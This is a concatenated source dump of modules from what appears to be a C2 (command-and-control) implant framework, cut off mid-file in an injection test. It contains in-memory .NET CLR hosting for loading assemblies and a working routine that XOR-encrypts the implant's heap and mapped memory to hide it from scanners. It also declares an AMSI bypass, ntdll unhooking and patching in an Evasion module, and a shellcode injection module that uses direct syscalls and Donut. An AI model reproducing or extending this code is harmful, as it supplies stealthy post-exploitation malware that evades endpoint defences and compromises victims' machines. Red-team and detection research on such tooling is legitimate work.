HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 12 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 13 | virtual ULONG STDMETHODCALLTYPE Release(void); 14 | 15 | virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList); 16 | virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore); 17 | 18 | int setTargetAssembly(TargetAssembly * targetAssembly) 19 | { 20 | m_assemblyStore->setTargetAssembly(targetAssembly); 21 | return 0; 22 | } 23 | 24 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) 25 | { 26 | m_assemblyStore->updateTargetAssembly(identityManager, data); 27 | return 0; 28 | } 29 | 30 | LPWSTR getAssemblyInfo() 31 | { 32 | return m_assemblyStore->getAssemblyInfo(); 33 | }; 34 | 35 | protected: 36 | DWORD count; 37 | 38 | private: 39 | MyAssemblyStore* m_assemblyStore; 40 | 41 | }; -------------------------------------------------------------------------------- /modules/DotnetExec/AssemblyStore.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #include 9 | 10 | 11 | class TargetAssembly 12 | { 13 | public: 14 | TargetAssembly(void) 15 | { 16 | m_assemblyStream = nullptr; 17 | 18 | m_id = 5000; 19 | m_assemblyInfo = (LPWSTR)malloc(4096); 20 | m_identityBufferSize = 4096; 21 | 22 | }; 23 | ~TargetAssembly(void) 24 | { 25 | free(m_assemblyInfo); 26 | }; 27 | 28 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); 29 | 30 | LPWSTR getAssemblyInfo() 31 | { 32 | return m_assemblyInfo; 33 | }; 34 | 35 | int getId() 36 | { 37 | return m_id; 38 | }; 39 | 40 | char* getAssembly() 41 | { 42 | return m_assembly.data(); 43 | }; 44 | 45 | int getAssemblySize() 46 | { 47 | return m_assembly.size(); 48 | }; 49 | 50 | private: 51 | DWORD m_identityBufferSize; 52 | LPWSTR m_assemblyInfo; 53 | 54 | std::string m_assembly; 55 | 56 | IStream* m_assemblyStream; 57 | 58 | int m_id; 59 | }; 60 | 61 | 62 | class MyAssemblyStore : public IHostAssemblyStore 63 | { 64 | public: 65 | MyAssemblyStore(void); 66 | ~MyAssemblyStore(void); 67 | 68 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 69 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 70 | virtual ULONG STDMETHODCALLTYPE Release(void); 71 | 72 | virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB); 73 | virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB); 74 | 75 | int setTargetAssembly(TargetAssembly * targetAssembly) 76 | { 77 | m_targetAssembly = targetAssembly; 78 | return 0; 79 | } 80 | 81 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); 82 | 83 | LPWSTR getAssemblyInfo() 84 | { 85 | return m_targetAssembly->getAssemblyInfo(); 86 | }; 87 | 88 | protected: 89 | DWORD count; 90 | 91 | private: 92 | TargetAssembly* m_targetAssembly; 93 | 94 | }; -------------------------------------------------------------------------------- /modules/DotnetExec/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | if(WIN32) 3 | add_library(DotnetExec SHARED DotnetExec.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ) 4 | else() 5 | add_library(DotnetExec SHARED DotnetExec.cpp) 6 | endif() 7 | set_property(TARGET DotnetExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 8 | target_link_libraries(DotnetExec ) 9 | add_custom_command(TARGET DotnetExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 10 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 11 | 12 | if(WITH_TESTS) 13 | if(WIN32) 14 | add_executable(testsDotnetExec tests/testsDotnetExec.cpp DotnetExec.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj tests/project.rc) 15 | else() 16 | add_executable(testsDotnetExec tests/testsDotnetExec.cpp DotnetExec.cpp) 17 | endif() 18 | # add_executable(testsDotnetExec WIN32 tests/testsDotnetExec.cpp DotnetExec.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj tests/project.rc) 19 | target_link_libraries(testsDotnetExec ) 20 | set_property(TARGET testsDotnetExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 21 | add_custom_command(TARGET testsDotnetExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 22 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 23 | 24 | add_test(NAME testsDotnetExec COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 25 | endif() -------------------------------------------------------------------------------- /modules/DotnetExec/DotnetExec.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | #include "Common.hpp" 5 | 6 | #ifdef __linux__ 7 | 8 | #elif _WIN32 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "HostControl.hpp" 16 | 17 | // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). 18 | #import "mscorlib.tlb" auto_rename raw_interfaces_only \ 19 | high_property_prefixes("_get","_put","_putref") \ 20 | rename("ReportEvent", "InteropServices_ReportEvent") 21 | 22 | #endif 23 | 24 | #ifdef _WIN32 25 | struct AssemblyModule 26 | { 27 | mscorlib::_AssemblyPtr spAssembly; 28 | std::string name; 29 | std::string type; 30 | }; 31 | #endif 32 | 33 | 34 | class DotnetExec : public ModuleCmd 35 | { 36 | 37 | public: 38 | DotnetExec(); 39 | ~DotnetExec(); 40 | 41 | std::string getInfo(); 42 | 43 | int init(std::vector& splitedCmd, C2Message& c2Message); 44 | int process(C2Message& c2Message, C2Message& c2RetMessage); 45 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 46 | int osCompatibility() 47 | { 48 | return OS_WINDOWS; 49 | } 50 | 51 | private: 52 | bool m_firstRun; 53 | 54 | int clearAssembly(); 55 | int clearCLR(); 56 | 57 | #ifdef _WIN32 58 | 59 | bool m_memEcrypted; 60 | bool m_moduleLoaded; 61 | 62 | // initCLR 63 | ICLRMetaHost *m_pMetaHost; 64 | ICLRRuntimeInfo *m_pRuntimeInfo; 65 | ICLRRuntimeHost *m_pClrRuntimeHost; 66 | MyHostControl* m_pCustomHostControl; 67 | ICorRuntimeHost* m_pCorHost; 68 | IUnknownPtr m_spAppDomainThunk; 69 | 70 | // loadAssembly 71 | mscorlib::_AppDomainPtr m_spDefaultAppDomain; 72 | TargetAssembly* m_targetAssembly; 73 | 74 | int initCLR(); 75 | int loadAssembly(const std::string& data, const std::string& name, const std::string& type); 76 | int invokeMethodExe(const std::string name, const std::string& argument, std::string& result); 77 | int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result); 78 | int encryptMem(); 79 | int decryptMem(); 80 | 81 | std::vector m_assemblies; 82 | 83 | HANDLE m_ioPipeRead; 84 | HANDLE m_ioPipeWrite; 85 | 86 | #endif 87 | 88 | }; 89 | 90 | 91 | #ifdef _WIN32 92 | 93 | extern "C" __declspec(dllexport) DotnetExec * DotnetExecConstructor(); 94 | 95 | #else 96 | 97 | extern "C" __attribute__((visibility("default"))) DotnetExec * DotnetExecConstructor(); 98 | 99 | #endif 100 | 101 | -------------------------------------------------------------------------------- /modules/DotnetExec/HostControl.cpp: -------------------------------------------------------------------------------- 1 | #include "HostControl.hpp" 2 | 3 | 4 | MyHostControl::MyHostControl(void) 5 | { 6 | count = 0; 7 | 8 | m_assemblyManager = new MyAssemblyManager(); 9 | m_memoryManager = new MyMemoryManager(); 10 | }; 11 | 12 | MyHostControl::~MyHostControl(void) 13 | { 14 | delete m_assemblyManager; 15 | delete m_memoryManager; 16 | }; 17 | 18 | 19 | HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv) 20 | { 21 | // printf("MyHostControl_QueryInterface\n"); 22 | 23 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl)) 24 | { 25 | *ppv = 0; 26 | return E_NOINTERFACE; 27 | } 28 | *ppv = this; 29 | this->AddRef(); 30 | return S_OK; 31 | } 32 | 33 | 34 | ULONG STDMETHODCALLTYPE MyHostControl::AddRef() 35 | { 36 | // printf("MyHostControl_AddRef\n"); 37 | 38 | return(++((MyHostControl*)this)->count); 39 | } 40 | 41 | 42 | ULONG STDMETHODCALLTYPE MyHostControl::Release() 43 | { 44 | // printf("MyHostControl_Release\n"); 45 | 46 | if (--((MyHostControl*)this)->count == 0) 47 | { 48 | GlobalFree(this); 49 | return 0; 50 | } 51 | return ((MyHostControl*)this)->count; 52 | } 53 | 54 | 55 | // This is responsible for returning all of our manager implementations 56 | // If you want to disable an interface just comment out the if statement 57 | HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject) 58 | { 59 | // printf("MyHostControl_GetHostManager\n"); 60 | 61 | if (IsEqualIID(riid, IID_IHostMemoryManager)) 62 | { 63 | *ppObject = m_memoryManager; 64 | return S_OK; 65 | } 66 | 67 | if (IsEqualIID(riid, IID_IHostAssemblyManager)) 68 | { 69 | *ppObject = m_assemblyManager; 70 | return S_OK; 71 | } 72 | 73 | *ppObject = NULL; 74 | return E_NOINTERFACE; 75 | } 76 | 77 | 78 | // //This has some fun uses left as an exercise for the reader :) 79 | HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) 80 | { 81 | // printf("MyHostControl_SetAppDomainManager\n"); 82 | 83 | return E_NOTIMPL; 84 | } 85 | 86 | -------------------------------------------------------------------------------- /modules/DotnetExec/HostControl.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include "MemoryManager.hpp" 7 | #include "AssemblyManager.hpp" 8 | 9 | 10 | static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} }; 11 | 12 | 13 | inline void XOREncrypt2(char* address, int size, const std::string& xorKey) 14 | { 15 | DWORD start = 0; 16 | while (start < size) 17 | { 18 | *(address + start) ^= xorKey[start % xorKey.size()]; 19 | start++; 20 | } 21 | } 22 | 23 | 24 | class MyHostControl : public IHostControl 25 | { 26 | public: 27 | MyHostControl(void); 28 | ~MyHostControl(void); 29 | 30 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 31 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 32 | virtual ULONG STDMETHODCALLTYPE Release(void); 33 | 34 | virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject); 35 | virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager); 36 | 37 | int setTargetAssembly(TargetAssembly * targetAssembly) 38 | { 39 | m_assemblyManager->setTargetAssembly(targetAssembly); 40 | return 0; 41 | } 42 | 43 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) 44 | { 45 | m_assemblyManager->updateTargetAssembly(identityManager, data); 46 | return 0; 47 | } 48 | 49 | LPWSTR getAssemblyInfo() 50 | { 51 | return m_assemblyManager->getAssemblyInfo(); 52 | }; 53 | 54 | 55 | const std::vector& getVirtualAllocList() 56 | { 57 | return m_memoryManager->getVirtualAllocList(); 58 | } 59 | 60 | const std::vector& getMallocList() 61 | { 62 | return m_memoryManager->getMallocList(); 63 | } 64 | 65 | int xorMemory(const std::string& xorKey) 66 | { 67 | std::vector vitualAllocList = getVirtualAllocList(); 68 | 69 | for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it) 70 | { 71 | MemAllocEntry* entry = *it; 72 | if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE) 73 | { 74 | XOREncrypt2((char*)entry->Address, entry->size, xorKey); 75 | } 76 | } 77 | 78 | MEMORY_BASIC_INFORMATION memInfo; 79 | DWORD oldProtect; 80 | std::vector mallocList = getMallocList(); 81 | for (auto it = mallocList.begin(); it != mallocList.end(); ++it) 82 | { 83 | MemAllocEntry* entry = *it; 84 | 85 | if(entry->Address) 86 | { 87 | ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); 88 | 89 | if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) 90 | { 91 | if (memInfo.Protect != PAGE_READWRITE) 92 | { 93 | ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect); 94 | XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); 95 | ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect); 96 | } 97 | else 98 | { 99 | XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); 100 | } 101 | } 102 | } 103 | } 104 | 105 | return 0; 106 | } 107 | 108 | protected: 109 | DWORD count; 110 | 111 | private: 112 | MyAssemblyManager* m_assemblyManager; 113 | MyMemoryManager* m_memoryManager; 114 | 115 | }; 116 | -------------------------------------------------------------------------------- /modules/DotnetExec/HostMalloc.cpp: -------------------------------------------------------------------------------- 1 | #include "HostMalloc.hpp" 2 | #include "MemoryManager.hpp" 3 | 4 | #include 5 | 6 | 7 | MyHostMalloc::MyHostMalloc(void) 8 | { 9 | count = 0; 10 | } 11 | 12 | 13 | MyHostMalloc::~MyHostMalloc(void) 14 | { 15 | 16 | } 17 | 18 | 19 | HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv) 20 | { 21 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc)) 22 | { 23 | *ppv = 0; 24 | return E_NOINTERFACE; 25 | } 26 | *ppv = this; 27 | this->AddRef(); 28 | return S_OK; 29 | } 30 | 31 | 32 | ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef() 33 | { 34 | return(++((MyHostMalloc*)this)->count); 35 | } 36 | 37 | 38 | ULONG STDMETHODCALLTYPE MyHostMalloc::Release() 39 | { 40 | if (--this->count == 0) 41 | { 42 | GlobalFree(this); 43 | return 0; 44 | } 45 | return this->count; 46 | } 47 | 48 | 49 | HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem) 50 | { 51 | LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize); 52 | // std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl; 53 | 54 | MemAllocEntry* allocEntry = new MemAllocEntry(); 55 | allocEntry->Address = allocAddress; 56 | allocEntry->size = cbSize; 57 | allocEntry->type = MEM_ALLOC_MALLOC; 58 | m_memAllocList.push_back(allocEntry); 59 | 60 | *ppMem = allocAddress; 61 | if (*ppMem == NULL) 62 | { 63 | return E_OUTOFMEMORY; 64 | } 65 | else 66 | { 67 | return S_OK; 68 | } 69 | } 70 | 71 | 72 | HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem) 73 | { 74 | // std::cout << "MyHostMalloc::DebugAlloc" << std::endl; 75 | 76 | *ppMem = ::HeapAlloc(this->hHeap, 0, cbSize); 77 | if (*ppMem == NULL) 78 | { 79 | return E_OUTOFMEMORY; 80 | } 81 | else 82 | { 83 | return S_OK; 84 | } 85 | } 86 | 87 | 88 | HRESULT MyHostMalloc::Free(void* pMem) 89 | { 90 | // std::cout << "MyHostMalloc::Free" << std::endl; 91 | 92 | if (!::HeapValidate(this->hHeap, 0, pMem)) 93 | { 94 | // std::cout << "Detected corrupted heap" << std::endl; 95 | return E_OUTOFMEMORY; 96 | } 97 | ::HeapFree(this->hHeap, 0, pMem); 98 | pMem = nullptr; 99 | 100 | return S_OK; 101 | } -------------------------------------------------------------------------------- /modules/DotnetExec/HostMalloc.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | 9 | typedef enum 10 | { 11 | MEM_ALLOC_LIST_HEAD, 12 | MEM_ALLOC_MALLOC, 13 | MEM_ALLOC_VIRTUALALLOC, 14 | MEM_ALLOC_MAPPED_FILE 15 | } memAllocTracker; 16 | 17 | 18 | typedef struct _MemAllocEntry 19 | { 20 | SLIST_ENTRY allocEntry; 21 | void* Address; 22 | SIZE_T size; 23 | memAllocTracker type; 24 | } MemAllocEntry; 25 | 26 | 27 | class MyHostMalloc : public IHostMalloc 28 | { 29 | public: 30 | MyHostMalloc(void); 31 | ~MyHostMalloc(void); 32 | 33 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 34 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 35 | virtual ULONG STDMETHODCALLTYPE Release(void); 36 | 37 | virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem); 38 | virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem); 39 | virtual HRESULT Free(void* pMem); 40 | 41 | HANDLE hHeap; 42 | 43 | const std::vector& getMemAllocList() 44 | { 45 | return m_memAllocList; 46 | } 47 | 48 | protected: 49 | DWORD count; 50 | 51 | private: 52 | std::vector m_memAllocList; 53 | }; -------------------------------------------------------------------------------- /modules/DotnetExec/MemoryManager.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "HostMalloc.hpp" 3 | 4 | #include 5 | 6 | #include 7 | 8 | 9 | class MyMemoryManager : public IHostMemoryManager 10 | { 11 | public: 12 | MyMemoryManager(void); 13 | ~MyMemoryManager(void); 14 | 15 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 16 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 17 | virtual ULONG STDMETHODCALLTYPE Release(void); 18 | 19 | virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc); 20 | virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem); 21 | virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 22 | virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult); 23 | virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect); 24 | virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes); 25 | virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback); 26 | virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size); 27 | virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size); 28 | virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress); 29 | 30 | const std::vector& getVirtualAllocList() 31 | { 32 | return m_memAllocList; 33 | } 34 | 35 | const std::vector& getMallocList() 36 | { 37 | return m_mallocManager->getMemAllocList(); 38 | } 39 | 40 | 41 | protected: 42 | DWORD count; 43 | 44 | private: 45 | MyHostMalloc* m_mallocManager; 46 | 47 | std::vector m_memAllocList; 48 | 49 | }; -------------------------------------------------------------------------------- /modules/DotnetExec/PowerShellRunner/compile.bat: -------------------------------------------------------------------------------- 1 | csc /debug:portable rdm.cs /r:System.Management.Automation.dll /target:library 2 | powershell .\New-PowerShellRunnerHeader.ps1 -------------------------------------------------------------------------------- /modules/DotnetExec/tests/PowerShellRunner.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/DotnetExec/tests/PowerShellRunner.dll -------------------------------------------------------------------------------- /modules/DotnetExec/tests/project.rc: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define VER_FILEVERSION 1,0,0,0 4 | #define VER_FILEVERSION_STR "1.0.0.0\0" 5 | 6 | #define VER_PRODUCTVERSION 1,0,0,0 7 | #define VER_PRODUCTVERSION_STR "1.0.0\0" 8 | 9 | #ifndef DEBUG 10 | #define VER_DEBUG 0 11 | #else 12 | #define VER_DEBUG VS_FF_DEBUG 13 | #endif 14 | 15 | VS_VERSION_INFO VERSIONINFO 16 | FILEVERSION VER_FILEVERSION 17 | PRODUCTVERSION VER_PRODUCTVERSION 18 | FILEFLAGSMASK VS_FFI_FILEFLAGSMASK 19 | //FILEFLAGS (VER_PRIVATEBUILD|VER_PRERELEASE|VER_DEBUG) 20 | FILEOS VOS__WINDOWS32 21 | FILETYPE VFT_APP 22 | FILESUBTYPE VFT2_UNKNOWN 23 | BEGIN 24 | BLOCK "StringFileInfo" 25 | BEGIN 26 | BLOCK "040904E4" // United States (English) 27 | BEGIN 28 | VALUE "CompanyName", "CompanyName\0" 29 | VALUE "FileDescription", "testsGoodClrHost\0" 30 | VALUE "FileVersion", VER_FILEVERSION_STR 31 | VALUE "InternalName", "testsGoodClrHost\0" 32 | VALUE "OriginalFilename", "testsGoodClrHost.exe\0" 33 | VALUE "ProductName", "testsGoodClrHost\0" 34 | VALUE "ProductVersion", VER_PRODUCTVERSION_STR 35 | END 36 | END 37 | 38 | BLOCK "VarFileInfo" 39 | BEGIN 40 | VALUE "Translation", 0x409, 1252 41 | END 42 | END 43 | -------------------------------------------------------------------------------- /modules/Download/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Download SHARED Download.cpp) 3 | set_property(TARGET Download PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Download ) 5 | add_custom_command(TARGET Download POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsDownload tests/testsDownload.cpp Download.cpp) 10 | target_link_libraries(testsDownload ) 11 | add_custom_command(TARGET testsDownload POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsDownload COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/Download/Download.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class Download : public ModuleCmd 7 | { 8 | 9 | public: 10 | Download(); 11 | ~Download(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int recurringExec(C2Message& c2RetMessage); 17 | int process(C2Message& c2Message, C2Message& c2RetMessage); 18 | int followUp(const C2Message &c2RetMessage); 19 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 20 | int osCompatibility() 21 | { 22 | return OS_LINUX | OS_WINDOWS; 23 | } 24 | 25 | private: 26 | std::string m_outputfile; 27 | std::ofstream m_output; 28 | std::ifstream m_input; 29 | std::streamsize m_fileSize; 30 | std::streamsize m_bytesRead; 31 | }; 32 | 33 | 34 | #ifdef _WIN32 35 | 36 | extern "C" __declspec(dllexport) Download * DownloadConstructor(); 37 | 38 | #else 39 | 40 | extern "C" __attribute__((visibility("default"))) Download * DownloadConstructor(); 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /modules/Evasion/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Evasion SHARED Evasion.cpp) 3 | set_property(TARGET Evasion PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Evasion ) 5 | add_custom_command(TARGET Evasion POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsEvasion tests/testsEvasion.cpp Evasion.cpp) 10 | target_link_libraries(testsEvasion ) 11 | add_custom_command(TARGET testsEvasion POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsEvasion COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() 16 | -------------------------------------------------------------------------------- /modules/Evasion/Evasion.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class Evasion : public ModuleCmd 7 | { 8 | 9 | public: 10 | Evasion(); 11 | ~Evasion(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_WINDOWS; 20 | } 21 | 22 | private: 23 | 24 | #ifdef _WIN32 25 | int checkHooks(std::string& result); 26 | int unhookFreshCopy(std::string& result); 27 | int unhookPerunsFart(std::string& result); 28 | int amsiBypass(std::string& result); 29 | int introspection(std::string& result, std::string& moduleName); 30 | int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch); 31 | int readMemory(std::string& result, const std::string& hexAddress, const int size); 32 | int remotePatch(std::string& result); 33 | #endif 34 | 35 | }; 36 | 37 | 38 | #ifdef _WIN32 39 | 40 | extern "C" __declspec(dllexport) Evasion * A_EvasionConstructor(); 41 | 42 | #else 43 | 44 | extern "C" __attribute__((visibility("default"))) Evasion * EvasionConstructor(); 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /modules/Inject/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | 3 | if(WIN32) 4 | add_library(Inject SHARED Inject.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) 5 | else() 6 | add_library(Inject SHARED Inject.cpp) 7 | endif() 8 | 9 | set_property(TARGET Inject PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 10 | 11 | if(WITH_TESTS) 12 | message(STATUS "[+] Inject Tests are enable.") 13 | target_link_libraries(Inject ${Donut} ) 14 | else() 15 | message(STATUS "[-] Inject Tests are disable.") 16 | target_link_libraries(Inject ${Donut} ) 17 | endif() 18 | 19 | add_custom_command(TARGET Inject POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 20 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 21 | 22 | if(WITH_TESTS) 23 | if(WIN32) 24 | add_executable(testsInject tests/testsInject.cpp Inject.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) 25 | target_link_libraries(testsInject ${Donut} ) 26 | else() 27 | add_executable(testsInject tests/testsInject.cpp Inject.cpp) 28 | target_link_libraries(testsInject ${Donut} ${aplib64} ) 29 | endif() 30 | 31 | add_custom_command(TARGET testsInject POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 32 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 33 | 34 | add_test(NAME testsInject COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 35 | endif() 36 | -------------------------------------------------------------------------------- /modules/Inject/Inject.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | #ifdef _WIN32 6 | #include 7 | #endif 8 | 9 | class Inject : public ModuleCmd 10 | { 11 | 12 | public: 13 | Inject(); 14 | ~Inject(); 15 | 16 | std::string getInfo(); 17 | 18 | int initConfig(const nlohmann::json &config); 19 | int init(std::vector& splitedCmd, C2Message& c2Message); 20 | int process(C2Message& c2Message, C2Message& c2RetMessage); 21 | int osCompatibility() 22 | { 23 | return OS_WINDOWS; 24 | } 25 | 26 | private: 27 | std::string m_processToSpawn; 28 | bool m_useSyscall; 29 | 30 | }; 31 | 32 | 33 | #ifdef _WIN32 34 | 35 | extern "C" __declspec(dllexport) Inject * A_InjectConstructor(); 36 | 37 | #else 38 | 39 | extern "C" __attribute__((visibility("default"))) Inject * InjectConstructor(); 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /modules/Inject/tests/testsInject.cpp: -------------------------------------------------------------------------------- 1 | #include "../Inject.hpp" 2 | #include "../../ModuleCmd/Tools.hpp" 3 | 4 | #ifdef __linux__ 5 | #elif _WIN32 6 | #include 7 | #endif 8 | 9 | bool testInject(); 10 | 11 | int main() 12 | { 13 | bool res; 14 | 15 | std::cout << "[+] testInject" << std::endl; 16 | res = testInject(); 17 | if(res) 18 | std::cout << "[+] Sucess" << std::endl; 19 | else 20 | std::cout << "[-] Failed" << std::endl; 21 | 22 | return 0; 23 | } 24 | 25 | bool testInject() 26 | { 27 | std::unique_ptr inject = std::make_unique(); 28 | std::string shellCodeFile; 29 | 30 | { 31 | #ifdef _WIN32 32 | shellCodeFile="C:\\Windows\\System32\\calc.exe"; 33 | 34 